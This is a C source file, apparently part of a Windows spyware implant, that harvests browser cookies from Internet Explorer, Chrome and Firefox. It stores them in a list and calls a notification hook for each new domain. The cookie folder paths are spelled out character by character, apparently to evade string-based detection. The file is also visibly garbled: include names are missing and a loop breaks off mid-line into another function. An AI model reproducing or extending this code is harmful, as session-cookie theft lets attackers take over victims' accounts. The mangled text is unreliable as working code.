#include #include #include "debug.h" #include "zmem.h" #include "social.h" #include "cookies.h" #include "ie_cookies.h" #include "firefox_cookies.h" #include "chrome_cookies.h" DWORD dwCookieCount; LPCOOKIE_LIST lpCookieList = NULL; #define COOKIE_MIN_LEN 32 LPSTR GetCookieString(__in LPWSTR strDomain) { LPSTR strCookieString = NULL; DWORD dwLength = COOKIE_MIN_LEN; LPSTR strDomainA = (LPSTR) zalloc((wcslen(strDomain)+1) * sizeof(WCHAR)); _snprintf_s(strDomainA, (wcslen(strDomain)+1)*sizeof(WCHAR), _TRUNCATE, "%S", strDomain); for (DWORD i=0; i %S=%S\n", strDomain, strName, strValue); #endif return FALSE; // already have it } zfree(lpCookieList[i].strValue); lpCookieList[i].strValue = _strdup(strValue); //#ifdef _DEBUG // OutputDebug(L"[*] Updating cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount); //#endif NotifyNewCookie(strDomain); return TRUE; } } LPCOOKIE_LIST lpTemp = (LPCOOKIE_LIST) realloc(lpCookieList, (dwCookieCount + 1) * sizeof(COOKIE_LIST)); if (lpTemp == NULL) return FALSE; lpCookieList = lpTemp; lpCookieList[dwCookieCount].strDomain = _strdup(strDomain); lpCookieList[dwCookieCount].strName = _strdup(strName); lpCookieList[dwCookieCount].strValue = _strdup(strValue); dwCookieCount++; //#ifdef _DEBUG // OutputDebug(L"[*] Adding cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount); //#endif NotifyNewCookie(strDomain); return TRUE; } VOID DumpCookies() { // reset cookies WCHAR strCookie[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\0' }; WCHAR strCookieLow[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\\', L'L', L'o', L'w', L'\0' }; WCHAR strICookie[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'I', L'n', L'e', L't', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\0' }; WCHAR strICookieLow[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'I', L'n', L'e', L't', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\\', L'L', L'o', L'w', L'\0' }; DumpIECookies(strCookie, FALSE); //FIXME: array DumpIECookies(strCookieLow, FALSE); //FIXME: array DumpIECookies(strICookie, TRUE); //FIXME: array DumpIECookies(strICookieLow, TRUE); //FIXME: array DumpChromeCookies(); DumpFirefoxCookies(); } VOID NormalizeDomainW(__in LPWSTR strDomain) { LPWSTR strSrc, strDst; if (!strDomain) return; strSrc = strDst = strDomain; for(; *strSrc=='.'; strSrc++); for (;;) { if (*strSrc == '/' || *strSrc==NULL) break; *strDst = *strSrc; strDst++; strSrc++; } *strDst = NULL; } VOID NormalizeDomainA(__in LPSTR strDomain) { LPSTR strSrc, strDst; if (!strDomain) return; strSrc = strDst = strDomain; for(; *strSrc=='.'; strSrc++); for (;;) { if (*strSrc == '/' || *strSrc==NULL) break; *strDst = *strSrc; strDst++; strSrc++; } *strDst = NULL; } .